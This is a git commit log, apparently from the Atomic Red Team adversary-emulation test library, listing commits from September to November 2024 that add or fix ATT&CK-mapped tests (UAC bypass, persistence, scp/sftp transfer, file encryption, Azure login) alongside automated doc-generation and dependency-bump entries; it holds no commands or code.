* Update T1078.004.md

Added comment noting that this T1078.004-2 will only work if the Azure account (that the command is trying to login with) does not have 2FA enabled.

* Update T1078.004.md

* Update T1078.004.yaml

Update T1078.004-2 so that core functionalities work again (regular execution, -GetPrereqs, and -CleanUp)

* Revert T1078.004.md changes

* Update terraform.tfvars

Hardcoded Azure values.

* Update T1078.004.yaml

Hardcoded test 2's values to match `./atomics/T1078.004/src/T1078.004-2/terraform.tfvars`

* Update terraform.tfvars

* Update T1078.004.yaml

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-11-19 19:11:07 -08:00
Atomic Red Team doc generator 501dd6c05e Generated docs from job=generate-docs branch=master [ci skip] 2024-11-20 01:35:37 +00:00
Hare Sudhan 0efaba9ff0 update to MITRE ATT&CK 16 (#2990) 2024-11-19 20:34:41 -05:00
Atomic Red Team doc generator e1c3f63bf9 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-20 00:06:48 +00:00
Matt Anderson c7d7cc8203 Add tests to T1222 (#2980)
* Add tests to T1222

* Update T1222.yaml

Remove Auto-gen GUIDs

* Update T1222.yaml

Fixed executor name for test 3 and removed colons in reg path causing errors in test 2.

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-11-19 16:05:49 -08:00
Atomic Red Team doc generator f30d6050ca Generated docs from job=generate-docs branch=master [ci skip] 2024-11-19 18:17:02 +00:00
Burak Karaduman 33ca146f03 T1105 - Windows pull file using sftp.exe (#2987)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-11-19 13:16:05 -05:00
Atomic Red Team doc generator 12bf341353 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-19 18:10:36 +00:00
Burak Karaduman 0c76b2cad3 T1105 - Windows push file using sftp.exe (#2986)
* T1105 - Windows push file using sftp.exe

* Update T1105.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-11-19 13:09:36 -05:00
Atomic Red Team doc generator d1430f6cb8 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-19 18:04:20 +00:00
Burak Karaduman 35b0abe836 T1105 - Windows pull file using scp.exe (#2985)
* T1105 - Windows pull file using scp.exe

* Update T1105.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-11-19 13:03:15 -05:00
Atomic Red Team doc generator 012a309879 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-19 04:10:36 +00:00
Hare Sudhan 92f492c4d4 fix T1555 (#2989) 2024-11-18 20:09:43 -08:00
dependabot[bot] d622b54466 Bump hypothesis from 6.118.7 to 6.119.3 (#2988)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.118.7 to 6.119.3.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.118.7...hypothesis-python-6.119.3)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-18 21:34:52 -05:00
Atomic Red Team doc generator 2933afff6a Generated docs from job=generate-docs branch=master [ci skip] 2024-11-15 20:21:04 +00:00
Biagio Dipalma c6094b439c remove extra line (#2984)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-11-15 12:20:12 -08:00
Atomic Red Team doc generator fb37dd4a03 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-15 19:53:56 +00:00
Burak Karaduman 11648ff2bd T1105 - Windows push file using scp.exe (#2983)
* T1105 - Windows push file using scp.exe

* Improvments for "Windows push file using scp.exe"

* Update T1105.yaml

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-11-15 11:52:51 -08:00
Atomic Red Team doc generator 7e167eed39 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-15 19:47:03 +00:00
Michael Haag a4f082e118 RunMRU Atomic Test (#2981)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-11-15 11:46:11 -08:00
Atomic Red Team doc generator c78bb85e87 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-15 19:39:54 +00:00
Kevin e207ab6ff1 Move a T1036.003 test to T1036.007 (#2974)
Signed-off-by: Kevin <kevin@stealsyour.pw>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-11-15 11:38:36 -08:00
Atomic Red Team doc generator 61c3a1408c Generated docs from job=generate-docs branch=master [ci skip] 2024-11-13 03:18:26 +00:00
Burak Karaduman 99915c63be Get Printer Device List via PowerShell Command (#2973) 2024-11-12 22:17:31 -05:00
Atomic Red Team doc generator 5d5915abe2 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-12 01:44:35 +00:00
Biagio Dipalma ff52ae4683 improve suite (#2964)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-11-11 20:43:41 -05:00
dependabot[bot] b760512280 Bump typer from 0.12.5 to 0.13.0 (#2978)
Bumps [typer](https://github.com/fastapi/typer) from 0.12.5 to 0.13.0.
- [Release notes](https://github.com/fastapi/typer/releases)
- [Changelog](https://github.com/fastapi/typer/blob/master/docs/release-notes.md)
- [Commits](https://github.com/fastapi/typer/compare/0.12.5...0.13.0)

---
updated-dependencies:
- dependency-name: typer
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-11 19:50:43 -05:00
dependabot[bot] 43f094e28e Bump hypothesis from 6.116.0 to 6.118.7 (#2979)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.116.0 to 6.118.7.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.116.0...hypothesis-python-6.118.7)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-11 19:48:05 -05:00
Atomic Red Team doc generator 25e3c3956c Generated docs from job=generate-docs branch=master [ci skip] 2024-11-05 21:12:26 +00:00
Burak Karaduman 67f47a078c New atomic added. (#2970)
* New atomic added.

* Update T1082.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-11-05 16:11:26 -05:00
Atomic Red Team doc generator bb351c1480 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-05 21:03:53 +00:00
Burak Karaduman aa542159ab Added new atomic. (#2969)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-11-05 16:03:00 -05:00
Atomic Red Team doc generator 84a8d03003 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-05 21:01:27 +00:00
Ahmed Farouk 868da3b839 Added Paste and Run Technique (#2966)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-11-05 16:00:28 -05:00
Atomic Red Team doc generator f3ee3b833f Generated docs from job=generate-docs branch=master [ci skip] 2024-11-05 19:56:41 +00:00
Biagio Dipalma 26fbca688f Improve T1090.001 (#2963)
* Improve test

* improvements

* handle error correctly

* remove escalation_required

* update test

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-11-05 14:55:26 -05:00
dependabot[bot] e7246afdc8 Bump hypothesis from 6.115.5 to 6.116.0 (#2972)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.115.5 to 6.116.0.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.115.5...hypothesis-python-6.116.0)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-04 22:46:41 -05:00
dependabot[bot] 94ffb5972a Bump hypothesis from 6.115.3 to 6.115.5 (#2968) 2024-10-28 16:48:05 -04:00
Atomic Red Team doc generator 011d389fd6 Generated docs from job=generate-docs branch=master [ci skip] 2024-10-28 20:27:18 +00:00
Burak Karaduman 87085643f8 Added new atomic - T1518.001.yaml (#2965) 2024-10-28 13:26:16 -07:00
Atomic Red Team doc generator a9f4ffeb4f Generated docs from job=generate-docs branch=master [ci skip] 2024-10-25 00:22:17 +00:00
Burak Karaduman e701a4aa3e Create T1025.yaml (#2962)
* Create T1025.yaml

* Update T1025.yaml

Edit command key structre.

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-10-24 17:21:23 -07:00
Atomic Red Team doc generator 487dd6f39c Generated docs from job=generate-docs branch=master [ci skip] 2024-10-25 00:15:47 +00:00
Burak Karaduman d93cb3713b Update T1012.yaml (#2959)
* Update T1012.yaml

New atomic added.

* Update T1012.yaml

Command structre fixed

* Update T1012.yaml

Accidentally put a space at the beginning of the file.

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-10-24 17:14:38 -07:00
Atomic Red Team doc generator 93a62234c5 Generated docs from job=generate-docs branch=master [ci skip] 2024-10-24 02:18:27 +00:00
Retrospected f0601183b7 Update T1003.001.yaml (#2961)
* Fix nanodump download url

* Fix nanodump download url
2024-10-23 19:17:30 -07:00
dependabot[bot] 4914c9b6e9 Bump hypothesis from 6.115.0 to 6.115.3 (#2960)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.115.0 to 6.115.3.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.115.0...hypothesis-python-6.115.3)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-21 12:01:53 -04:00
Atomic Red Team doc generator 512c6c2afc Generated docs from job=generate-docs branch=master [ci skip] 2024-10-17 00:25:05 +00:00
Burak Karaduman d220052ac0 Update T1007.yaml (#2958)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-10-16 18:24:11 -06:00
Atomic Red Team doc generator b2d3484155 Generated docs from job=generate-docs branch=master [ci skip] 2024-10-17 00:17:27 +00:00
Burak Karaduman bddd7e6096 Update T1082.yaml (#2956)
New atomic added.
2024-10-16 18:16:23 -06:00
dependabot[bot] 14800db83a Bump hypothesis from 6.112.4 to 6.115.0 (#2957)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.112.4 to 6.115.0.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.112.4...hypothesis-python-6.115.0)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-14 22:26:44 -04:00
Atomic Red Team doc generator 68270b4bbb Generated docs from job=generate-docs branch=master [ci skip] 2024-10-12 03:08:29 +00:00
Jake H 008daaf6f4 T1486 Improvements (#2950)
* Updates to Encrypt files using ccrypt (FreeBSD/Linux)
- Modified atomic logic to encrypt a copy of the target file rather than the target
- Tidied the prereq management to ensure the atomic is repeatable
- Supplied the encryption key as an argument to prevent the atomic from hanging during execution
- Cleaning encrypted file

* Updates to Encrypt files using openssl (FreeBSD/Linux)
- Included the which command in the executor to ensure the variable is available during single execution without getting prereqs

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-10-11 23:07:21 -04:00
Atomic Red Team doc generator d64a63dabc Generated docs from job=generate-docs branch=master [ci skip] 2024-10-12 02:48:49 +00:00
Burak Karaduman 9a962c8f70 Update T1082.yaml (#2955)
New atomic added.
2024-10-11 20:47:50 -06:00
dependabot[bot] c718dc7ef7 Bump hypothesis from 6.112.2 to 6.112.4 (#2953)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.112.2 to 6.112.4.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.112.2...hypothesis-python-6.112.4)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-10-09 11:06:44 -05:00
Atomic Red Team doc generator e735076211 Generated docs from job=generate-docs branch=master [ci skip] 2024-10-09 16:03:51 +00:00
Biagio Dipalma 44dc651af1 Update T1562.003.yaml (#2954)
Removing the commands in test f12acddb-7502-4ce6-a146-5b62c59592f1
2024-10-09 11:02:59 -05:00
Atomic Red Team doc generator 8218baac09 Generated docs from job=generate-docs branch=master [ci skip] 2024-10-04 21:11:16 +00:00
Br3akp0int 062948f44f Uac bypassed and persistence (#2939)
* ShrinkLocker PIN,TPM Bitlocker Registry Modification

* Revert "ShrinkLocker PIN,TPM Bitlocker Registry Modification"

* UAC and persistence - T1053.005.yaml

UAC and persistence

* Update T1053.005.yaml

adding atomic back in

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-10-04 15:10:23 -06:00
dependabot[bot] 87941e6550 Bump hypothesis from 6.112.1 to 6.112.2 (#2949)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.112.1 to 6.112.2.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.112.1...hypothesis-python-6.112.2)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-10-02 16:18:51 -04:00
Atomic Red Team doc generator c52ca8fa9a Generated docs from job=generate-docs branch=master [ci skip] 2024-09-30 17:37:56 +00:00
spyder-griffith f80dec9172 Fix a typo in T108 - Linux VM Check via Hardware (#2948)
`/sys/class/dmi/id/product_name` is being compared twice instead of using `/sys/class/dmi/id/chassis_vendor`
2024-09-30 13:36:55 -04:00
Atomic Red Team doc generator d9bd7044e2 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-24 21:43:47 +00:00
BlueTeamOps 2e9bea8316 Blueteam0ps 31072024 (#2902)
* Update T1560.001.yaml

* Create T1564.008.yaml

* Update T1105.yaml

* Update T1560.001.yaml

Added back elevation_required: true to the previous test as it was mistakenly removed.

* Update T1105.yaml

Fixed up errors

* Update T1560.001.yaml

removed addition elevation_required option

* Update T1560.001.yaml

Fixed the issues based on the feedback
2024-09-24 16:42:55 -05:00
Atomic Red Team doc generator 2944337ec5 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-24 21:41:49 +00:00
BlueTeamOps 03d7d6ba13 Btops140824 (#2911)
* Create T1222.yaml

* Update T1070.004.yaml

Added clear of recycle bin using rd

* Update T1057.yaml

added taskmgr.exe based process viewing

* Update T1012.yaml

Added SIL status lookup via registry

* Update T1057.yaml

Fixed up the name  ,description for Taskmgr.exe test

* Update T1057.yaml

Fixed the UUID
2024-09-24 16:40:57 -05:00
Atomic Red Team doc generator 8366cf403c Generated docs from job=generate-docs branch=master [ci skip] 2024-09-24 15:31:03 +00:00
Br3akp0int df25f7e1ff Uac bypassed via prog i ds (#2940)
* ShrinkLocker PIN,TPM Bitlocker Registry Modification

* Revert "ShrinkLocker PIN,TPM Bitlocker Registry Modification"

* Update T1548.002.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-24 10:30:06 -05:00
Atomic Red Team doc generator e851100c42 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-24 15:22:14 +00:00
Michael Haag 4034c339d5 CompMgmt.msc (#2937)
msc to shell

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-24 10:21:20 -05:00
Atomic Red Team doc generator 1942961034 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-24 10:04:13 +00:00
JrGoomer 95856ccfa4 Update T1036.004.yaml (#2945)
* Update T1036.004.yaml

* Update T1036.004.yaml

Added elevation_required and set the value to true

* Update atomics/T1036.004/T1036.004.yaml

Co-authored-by: Hare Sudhan <code@0x6c.dev>

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-09-24 06:03:19 -04:00
Atomic Red Team doc generator 48887f4565 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-24 09:53:19 +00:00
AlbertoPellitteri 4304f06639 Fix test T1070.008.yaml (#2938)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-09-24 05:52:24 -04:00
Atomic Red Team doc generator 192aacc1a5 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-24 09:43:34 +00:00
JrGoomer 7bd172f6b6 Create T1497.003.yaml (#2941)
* Create T1497.003.yaml

* Update T1497.003.yaml indentation

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-09-24 05:42:42 -04:00
Atomic Red Team doc generator ed8d37edbb Generated docs from job=generate-docs branch=master [ci skip] 2024-09-24 08:52:36 +00:00
AlbertoPellitteri 9f9fb5fffa Fixing test T1562.004-19 (#2943)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-09-24 04:51:36 -04:00
dependabot[bot] de134482fc Bump pydantic from 2.9.1 to 2.9.2 (#2946)
Bumps [pydantic](https://github.com/pydantic/pydantic) from 2.9.1 to 2.9.2.
- [Release notes](https://github.com/pydantic/pydantic/releases)
- [Changelog](https://github.com/pydantic/pydantic/blob/main/HISTORY.md)
- [Commits](https://github.com/pydantic/pydantic/compare/v2.9.1...v2.9.2)

---
updated-dependencies:
- dependency-name: pydantic
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-23 18:45:02 -04:00
Atomic Red Team doc generator bf6d97679d Generated docs from job=generate-docs branch=master [ci skip] 2024-09-17 21:28:08 +00:00
AlbertoPellitteri 01db64eb4f Fixing test T1546.004.yaml (#2930)
* Fixing last test

* Fixing test to make the bash_logout being executed

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-09-17 17:27:11 -04:00
Atomic Red Team doc generator c752936b87 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-17 21:25:39 +00:00
AlbertoPellitteri 1076774d0f Replace user login with inline execution (#2932)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-09-17 17:24:45 -04:00
Atomic Red Team doc generator bb7c504ce7 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-17 21:22:47 +00:00
AlbertoPellitteri 44cd7ff8f1 Fixing test T1110.001.yaml (#2931)
* Fixing test T1110.001.yaml

* Update T1110.001.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-09-17 17:21:29 -04:00
Atomic Red Team doc generator fe78dc33a6 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-17 21:14:15 +00:00
AlbertoPellitteri 6ffa493693 Fix test T1105.yaml (#2935)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-09-17 17:13:03 -04:00
Atomic Red Team doc generator cce1b03cd6 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-17 21:10:16 +00:00
AlbertoPellitteri ba4cbcbef3 Fix Test T1070.003 (#2936) 2024-09-17 17:09:14 -04:00
dependabot[bot] dc426a8d55 Bump hypothesis from 6.111.2 to 6.112.1 (#2933)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.111.2 to 6.112.1.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.111.2...hypothesis-python-6.112.1)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-16 21:59:26 -04:00
dependabot[bot] 144e2f3349 Bump pytest from 8.3.2 to 8.3.3 (#2934)
Bumps [pytest](https://github.com/pytest-dev/pytest) from 8.3.2 to 8.3.3.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/8.3.2...8.3.3)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-16 16:24:01 -04:00
Atomic Red Team doc generator 4372dc5341 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-14 22:37:32 +00:00
0xv1n 119501abc6 Update T1016.001.yaml (#2928)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-14 17:36:40 -05:00
Atomic Red Team doc generator 3f9d6f4299 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-14 22:30:34 +00:00
AlbertoPellitteri f62464594a Fixing T1560.001-5 (#2927)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-14 17:29:40 -05:00
abhijose09 9dec775c74 Create ErrorHandler.cmd script file for test Persistence via ErrorHandler.cmd script execution (#2896)
* Create ErrorHandler.cmd

Added script file for new Test - Persistence via ErrorHandler.cmd script execution

* Create ErrorHandler.cmd script file for test Persistence via ErrorHandler.cmd script execution

* Delete atomics/T1546/bin/ErrorHandler.cmd

made the required changes

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-14 17:27:44 -05:00
Atomic Red Team doc generator 1f9715f582 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-14 22:26:09 +00:00
abhijose09 6f59583d63 Update T1546.yaml (#2897)
* Update T1546.yaml

New Test - Persistence via ErrorHandler.cmd script execution

* Update T1546.yaml

made the required changes

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-14 17:25:12 -05:00
Atomic Red Team doc generator a107a0213a Generated docs from job=generate-docs branch=master [ci skip] 2024-09-14 22:22:23 +00:00
AlbertoPellitteri 1c96b6af45 Fixing test 3 (#2926)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-14 17:21:28 -05:00
Atomic Red Team doc generator 4a22ffab3e Generated docs from job=generate-docs branch=master [ci skip] 2024-09-14 22:19:49 +00:00
AlbertoPellitteri 8cbea7db3e Adding prereq (#2925)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-14 17:18:49 -05:00
Atomic Red Team doc generator 94d85e4c96 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-14 22:17:14 +00:00
AlbertoPellitteri abd235ade4 Removing comments from code section and adding it to descriptions (#2922)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-14 17:16:13 -05:00
dependabot[bot] 6c1f242bad Bump pydantic from 2.8.2 to 2.9.1 (#2918)
Bumps [pydantic](https://github.com/pydantic/pydantic) from 2.8.2 to 2.9.1.
- [Release notes](https://github.com/pydantic/pydantic/releases)
- [Changelog](https://github.com/pydantic/pydantic/blob/main/HISTORY.md)
- [Commits](https://github.com/pydantic/pydantic/compare/v2.8.2...v2.9.1)

---
updated-dependencies:
- dependency-name: pydantic
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-09-14 17:14:44 -05:00
Atomic Red Team doc generator a56a368463 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-10 16:15:47 +00:00
AlbertoPellitteri e5c209237e Fix T1056.001.yaml (#2924)
* Fix test 7

* Updating T1056.001-7

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-09-10 21:44:42 +05:30
Atomic Red Team doc generator a698af9fe8 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-10 16:03:57 +00:00
AlbertoPellitteri ff923c6ab7 Remove sudo command from test, since the elevation required was already set (#2923)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-09-10 21:32:56 +05:30
Atomic Red Team doc generator 6cb15b6c66 Generated docs from job=generate-docs branch=master [ci skip] 2024-09-10 14:51:17 +00:00
AlbertoPellitteri 8bd8a959ee Setting elevation required for test 1 (#2920)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-09-10 20:20:19 +05:30
Atomic Red Team doc generator ef5e505c1b Generated docs from job=generate-docs branch=master [ci skip] 2024-09-10 14:48:25 +00:00
AlbertoPellitteri 981e91dbc4 Remove container once it gets stopped (#2921) 2024-09-10 20:17:12 +05:30
dependabot[bot] 59501c77d8 Bump typer from 0.12.3 to 0.12.5 (#2915)
Bumps [typer](https://github.com/fastapi/typer) from 0.12.3 to 0.12.5.
- [Release notes](https://github.com/fastapi/typer/releases)
- [Changelog](https://github.com/fastapi/typer/blob/master/docs/release-notes.md)
- [Commits](https://github.com/fastapi/typer/compare/0.12.3...0.12.5)

---
updated-dependencies:
- dependency-name: typer
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-27 23:10:07 -04:00
dependabot[bot] 480f150382 Bump hypothesis from 6.111.1 to 6.111.2 (#2916)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.111.1 to 6.111.2.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.111.1...hypothesis-python-6.111.2)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-27 23:07:31 -04:00
Atomic Red Team doc generator 7823fc84d3 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-24 19:07:19 +00:00
Marco Pedrinazzi 03464493cc Update typos and small details T1071.yaml (#2909)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-24 13:06:28 -06:00
dependabot[bot] c2bd690004 Bump hypothesis from 6.111.0 to 6.111.1 (#2913)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.111.0 to 6.111.1.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.111.0...hypothesis-python-6.111.1)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-24 12:15:44 -06:00
Atomic Red Team doc generator 2b81bb19e6 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-15 17:27:00 +00:00
Jose Enrique Hernandez ff72438db9 fixes file extension for T1016.001 (#2908) 2024-08-15 12:25:53 -05:00
Atomic Red Team doc generator c52d0023e3 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-13 17:34:09 +00:00
Jose Enrique Hernandez c51f854f36 bumped ruby to 3.0 (#2906) 2024-08-13 12:32:37 -05:00
dependabot[bot] 49c4f7df24 Bump pyyaml from 6.0.1 to 6.0.2 (#2904)
Bumps [pyyaml](https://github.com/yaml/pyyaml) from 6.0.1 to 6.0.2.
- [Release notes](https://github.com/yaml/pyyaml/releases)
- [Changelog](https://github.com/yaml/pyyaml/blob/main/CHANGES)
- [Commits](https://github.com/yaml/pyyaml/compare/6.0.1...6.0.2)

---
updated-dependencies:
- dependency-name: pyyaml
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-12 20:07:11 -05:00
dependabot[bot] ccaaa72151 Bump hypothesis from 6.108.8 to 6.111.0 (#2903)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.108.8 to 6.111.0.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.108.8...hypothesis-python-6.111.0)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-12 20:05:20 -05:00
